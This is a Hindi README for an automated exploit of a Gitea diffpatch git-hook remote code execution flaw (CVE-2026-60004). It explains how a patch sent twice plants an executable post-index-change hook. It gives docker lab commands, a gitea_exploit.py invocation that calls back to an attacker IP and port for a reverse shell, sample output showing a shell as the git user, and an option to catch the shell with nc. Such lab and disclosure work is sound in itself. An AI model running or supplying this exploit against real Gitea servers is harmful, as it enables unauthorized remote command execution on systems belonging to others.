
CVE-2026-60004 के लिए स्वचालित proof-of-concept exploit, एक Gitea diffpatch Git hook RCE जो service account के रूप में reverse shell प्राप्त करने के लिए post-index-change hook स्थापित करता है।
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
CVE-2026-60004 Gitea में एक रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है।
diffpatchAPI दिए गए पैच कोgit apply --cachedके साथ लागू करता है, जिसे केवल इंडेक्स को छूना चाहिए और कभी भी फ़ाइलों को डिस्क पर नहीं लिखना चाहिए। एक ही पैच को दो बार भेजकर, एक हमलावर एक add/add टकराव को मजबूर करता है जो Git के three-way merge fallback (-3) को ट्रिगर करता है। वह पथ--cachedको अनदेखा करता है और फ़ाइल को वर्किंग ट्री में चेकआउट करता है। चूंकि अस्थायी क्लोन bare है, इसका वर्किंग ट्री रूट$GIT_DIRहै। एक पैच जो एक निष्पादन योग्य बनाता है, इसलिए एक लाइव Git हुक स्थापित करता है, जिसे Git अगले इंडेक्स अपडेट पर स्वचालित रूप से चलाता है — Gitea सेवा खाते के रूप में कमांड निष्पादित करता है। एंडपॉइंट को रिपॉजिटरी लेखन पहुंच की आवश्यकता होती है, लेकिन पंजीकरण डिफ़ॉल्ट रूप से सक्षम है, इसलिए कोई भी उपयोगकर्ता जो साइन अप कर सकता है और एक रिपॉजिटरी बना सकता है, उस तक पहुंच सकता है।
hooks/post-index-change| श्रेणी | संस्करण |
|---|---|
| भेद्य | Gitea 1.17 ≤ संस्करण ≤ 1.27.0 |
| पैच किया गया | Gitea 1.27.1 या बाद का |
git) के रूप में रिमोट कोड एक्ज़ीक्यूशनभेद्य Gitea वातावरण बनाएं और चलाएं। पंजीकरण खुला छोड़ा गया है और
सर्वर Git 2.32+ के साथ आता है, जो हमले के आधार पर -3 fallback को सक्षम करता है।
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| पूर्व शर्त | इस लैब में स्थिति |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
सर्वर पर Git 2.32+ (-3 सक्षम करता है) | 2.54 |
| खुला पंजीकरण | सक्षम (डिफ़ॉल्ट) |
| रिपॉजिटरी लेखन पहुंच | स्व-पंजीकृत खाते के माध्यम से |
एक्सप्लॉइट पूरी तरह से gitea_exploit.py द्वारा स्वचालित है। एक खाता दिया गया है जो
एक रिपॉजिटरी बना सकता है, यह लक्ष्य रेपो बनाता है, एक ही पैच को बार-बार
सबमिट करता है जब तक Git का -3 fallback सक्रिय नहीं हो जाता, और एक अंतर्निहित
लिसनर के साथ रिवर्स शेल को पकड़ता है — कोई मैन्युअल सेटअप, पैच क्राफ्टिंग, या
blob-hash गणित की आवश्यकता नहीं।
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
-3 fallback केवल कुछ समय विंडो में सक्रिय होता है, इसलिए स्क्रिप्ट
create → send → send को लूप करती है जब तक यह पकड़ नहीं लेती (डिफ़ॉल्ट 25 प्रयास)। जब एक send ब्लॉक होता है,
हुक सक्रिय हो गया है और लिसनर आपको git के रूप में एक शेल में डाल देता है:
[*] attempt 3/25 -> send#1 201, send#2 timeout <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)
विकल्प:
--no-listen — अंतर्निहित लिसनर के बजाय अपने स्वयं के बाहरी nc के साथ शेल को पकड़ें--user / --pw / --repo / --branch — डिफ़ॉल्ट खाते और लक्ष्य रेपो को ओवरराइड करेंDISABLE_REGISTRATION=true)